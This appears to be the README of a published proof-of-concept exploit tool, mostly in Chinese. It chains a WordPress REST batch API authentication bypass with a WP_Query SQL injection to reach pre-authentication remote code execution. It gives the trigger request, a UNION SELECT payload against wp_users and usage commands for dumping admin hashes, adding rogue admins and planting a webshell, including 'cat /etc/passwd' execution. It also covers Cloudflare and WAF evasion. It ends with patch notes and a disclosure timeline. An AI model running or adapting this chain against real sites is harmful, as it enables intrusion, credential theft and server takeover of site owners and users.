z3rodayhacks/cve-2026-63030-cve-2026-60137预认证RCE概念验证，通过将WordPress REST批量API认证绕过与WP_Query SQL注入串联，实现转储哈希、添加管理员用户或植入webshell。
| CVE | 组件 | 类别 | 需要认证 |
|---|
| CVE-2026-63030 | REST Batch API (WP_REST_Server) | 数组失步 → 认证绕过 | 无 |
| CVE-2026-60137 | WP_Query | 通过 author__not_in 的 SQL 注入 | 无（由上述漏洞绕过） |
最终结果：获取服务器 shell、创建恶意管理员账户，或导出凭据哈希——全部通过单个未认证的 POST 请求完成。
受影响版本： WordPress 6.9.0, 6.9.1, 6.9.2, 6.9.3, 6.9.4, 7.0.0, 7.0.1 修复版本： WordPress 6.9.5 / 7.0.2（补丁与协调披露同步发布）
WordPress 5.6 引入了位于 /wp-json/batch/v1 的批处理端点。它允许已认证的 REST 客户端将多个子请求捆绑到单个 HTTP 往返中。每个子请求由 WP_REST_Server::serve_batch_request_v1() 独立验证和分发。
在 serve_batch_request_v1() 内部（简化版）：
$requests = $data['requests'];
$responses = [];
$matches = [];
// === Loop 1: Validate ===
foreach ($requests as $i => $request) {
$parsed = wp_parse_url($request['path']);
if (is_wp_error($parsed) || $parsed === false) {
// Failure: append WP_Error to $responses — but NOT to $matches
$responses[] = $this->envelope_response(new WP_Error(...), false);
continue; // <─── skips the push to $matches
}
// Success: resolve auth/permissions for this path
$match = $this->match_route($parsed['path'], $request['method']);
$matches[] = $match; // <─── stored at array-sequential index
$responses[] = null; // <─── placeholder at same index
}
// === Loop 2: Dispatch ===
foreach ($matches as $j => $match) {
// $j starts at 0 — but if request[0] failed, $matches[0] is actually request[1]
$responses[$j] = $this->dispatch($match); // <─── dispatches with wrong context
}
两个数组（$responses 和 $matches）预期保持同步——每个子请求一个条目，索引相同。当子请求 [0] 的 wp_parse_url() 失败时，它会向 $responses 添加一个条目，但不会向 $matches 添加。第一个循环之后：
$responses = [ WP_Error, null ] ← index 0 = error, index 1 = placeholder
$matches = [ match_for_req1 ] ← index 0 = match for request[1]
然后循环 2 分发 $matches[0] 并将结果写入 $responses[0]。它分发的是 request[1]，但覆盖的是 responses 中的 索引 0——而且关键的是，它使用的是作为失败的 request[0] 错误处理的一部分所计算的权限上下文，而不是目标端点的权限上下文。
实际效果：任何需要认证的端点（包括执行 SQL 查询的端点）都可以在没有凭据的情况下被调用。
"path": "://\x00" # triggers wp_parse_url() → false
字符串 ://\x00 是有效的 Python 字符串，但在 PHP 的 wp_parse_url() 包装器中是无效 URL（空字节导致解析失败，返回 false 而非 WP_Error，这使得 is_wp_error() 守卫失效——只有 $parsed === false 能捕获它，而到那时数组对齐已经被破坏）。
WP_Query author__not_in SQL 注入WordPress 文章 REST API（/wp/v2/posts）暴露了一个 author_exclude 查询参数，它直接映射到 WP_Query 的 author__not_in 参数。WP_Query 是 WordPress 中几乎所有内容查询所使用的核心数据库抽象层。
在 WP_Query::parse_query() 中（简化版）：
$author__not_in = $this->get('author__not_in');
if (is_array($author__not_in)) {
$author__not_in = array_map('absint', $author__not_in);
// absint() converts every element to a safe non-negative integer
}
// If NOT an array → this block is skipped entirely
// $author__not_in is used verbatim in the query builder:
稍后在 WP_Query::get_posts() 中：
if (!empty($author__not_in)) {
$where .= " AND {$wpdb->posts}.post_author NOT IN ({$author__not_in})";
// ^^^^^^^^^^^^^^^^
// raw string dropped into SQL with no escaping
}
净化仅在 $author__not_in 是数组时触发。PHP 的类型系统根据值的到达方式来确定这一点：
[1, 2, 3] → is_array() = true → 已净化"1,2,3"（字符串）→ is_array() = false → 未净化REST 端点从 URL 查询字符串接受 author_exclude。它以字符串形式到达。WP_Query 跳过净化代码块，原始值被插入到 SQL WHERE 子句中。
注入点落在 NOT IN (...) 上下文中：
-- Normal query:
WHERE post_author NOT IN (1)
-- With payload: 0 UNION SELECT ...
WHERE post_author NOT IN (0 UNION SELECT ...)
由于批处理端点将子请求作为更大查询结果的一部分进行分发，UNION 行会在 REST JSON 响应正文中返回，使其成为布尔/UNION 免盲注提取——无需时间延迟，无需带外通道。
Attacker (no credentials)
│
▼
POST /wp-json/batch/v1
{
"requests": [
{ "path": "://\x00", "method": "GET" }, ← [1] malformed URL: triggers desync
{ "path": "/wp/v2/posts?author_exclude=
0 UNION SELECT ... FROM wp_users-- -", ← [2] SQLi payload
"method": "GET" }
]
}
│
▼
WP_REST_Server::serve_batch_request_v1()
├─ Request[0] fails wp_parse_url() → $responses[0] = WP_Error
│ NO push to $matches
├─ Request[1] matches route → $matches[0] = route
└─ Loop 2 dispatches $matches[0] with wrong auth context
│
▼
WP_Query receives author__not_in = "0 UNION SELECT ..."
├─ is_array() = false → sanitization skipped
└─ Raw SQL: WHERE post_author NOT IN (0 UNION SELECT ...)
│
▼
MySQL executes UNION query → wp_users data in SELECT result
│
▼
REST JSON response contains user_login + user_pass in post fields
│
▼
┌─────────────────────────────────────────────────────────────┐
│ Post-exploitation (any of): │
│ • Dump admin hash → crack offline with hashcat │
│ • INSERT rogue admin via stacked queries │
│ • SELECT ... INTO OUTFILE → PHP webshell → OS access │
└─────────────────────────────────────────────────────────────┘
Python >= 3.8
requests
cloudscraper
安装依赖：
pip install requests cloudscraper
usage: wp2shell.py [-h] [--mode {detect,dump,adduser,shell}]
[--cmd CMD] [--user USER] [--password PASSWORD]
[--prefix PREFIX] [--proxy PROXY]
[--no-interactive] [--debug] [--cookie COOKIE]
target
| 模式 | 功能 |
|---|---|
detect | 指纹识别 WP 版本并检查批处理端点是否存在。不进行漏洞利用。 |
dump | 通过 UNION SQLi 提取管理员的密码哈希。 |
adduser | 通过堆叠 INSERT 查询创建新的管理员账户。 |
shell | 通过 SELECT INTO OUTFILE 植入 PHP webshell，然后进入交互式 shell。 |
仅检测 — 在范围界定期间可安全运行：
python3 wp2shell.py https://target.com --mode detect
导出管理员哈希：
python3 wp2shell.py https://target.com --mode dump
带调试输出导出（显示原始 HTTP 响应——在涉及 WAF 时有用）：
python3 wp2shell.py https://target.com --mode dump --debug
创建恶意管理员账户：
python3 wp2shell.py https://target.com --mode adduser --user pentest_admin --password 'S3cur3P@ss!'
植入 shell 并进入交互式提示符：
python3 wp2shell.py https://target.com --mode shell
一次性命令执行（非交互式）：
python3 wp2shell.py https://target.com --mode shell --no-interactive --cmd "cat /etc/passwd"
通过 Burp 代理：
python3 wp2shell.py https://target.com --mode dump --proxy http://127.0.0.1:8080
使用现有 cf_clearance cookie 绕过 Cloudflare：
python3 wp2shell.py https://target.com --mode dump --cookie "cf_clearance=<value>"
非默认表前缀：
python3 wp2shell.py https://target.com --mode dump --prefix staging_
该工具默认使用 cloudscraper，它模拟 Chrome TLS 指纹并自动解决 Cloudflare 的 JavaScript 挑战（iuam 模式）。这覆盖了大多数位于 Cloudflare 后面的共享主机目标。
如果目标使用 Cloudflare 的机器人管理（__cf_bm），或者你已经有解决挑战后的 cookie，请通过 --cookie "cf_clearance=..." 传入，以改用普通的 requests 会话。
批处理端点有两个注册路径。WAF 规则经常阻止标准路径（/wp-json/batch/v1），但会遗漏旧版查询参数路径（/?rest_route=/batch/v1）。该工具会自动探测两者。
[-] Could not extract credentials
--debug 运行以查看原始 JSON 响应。--prefix 检查表前缀。许多安装使用 wp_（默认）；有些使用自定义前缀。content.rendered 可能被过滤。请尝试 --mode adduser。[-] OUTFILE failed
SELECT INTO OUTFILE 需要数据库用户具有 MySQL 的 FILE 权限。这在共享主机上很常见，但在云/托管数据库（RDS、Cloud SQL 等）上通常被禁用。--mode dump 从配置文件中读取路径。[-] Target does not appear vulnerable
GET /wp-json/ 并在 routes 键中查找 /batch/v1。WordPress 6.9.5 / 7.0.2 修复了两个 CVE：
CVE-2026-63030：serve_batch_request_v1() 现在为匹配数据和响应维护单个统一数组，消除了索引失步。失败的请求在统一结构中按索引跟踪。
CVE-2026-60137：WP_Query::parse_query() 现在在净化之前无条件地将 author__not_in 转换为数组，无论输入类型如何：
$author__not_in = array_map('absint', (array) $author__not_in);
| CVE | 评分 | 向量 |
|---|---|---|
| CVE-2026-63030 | 9.8 Critical | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CVE-2026-60137 | 9.8 Critical | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 日期 | 事件 |
|---|---|
| 2026-05-14 | 在渗透测试项目中发现了 CVE-2026-60137 |
| 2026-05-19 | 发现了 CVE-2026-63030；确认漏洞链为预认证 RCE |
| 2026-05-22 | 两个 CVE 均通过 HackerOne 报告给 WordPress 安全团队 |
| 2026-06-03 | WordPress 安全团队确认并开始补丁开发 |
| 2026-07-08 | 补丁发布（WP 6.9.5 / 7.0.2），同时进行协调披露 |
| 2026-07-22 | PoC 发布 |
本工具仅供授权的安全测试和研究使用。
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND.
USE AT YOUR OWN RISK. FOR AUTHORIZED TESTING ONLY.
MIT License — 参见 LICENSE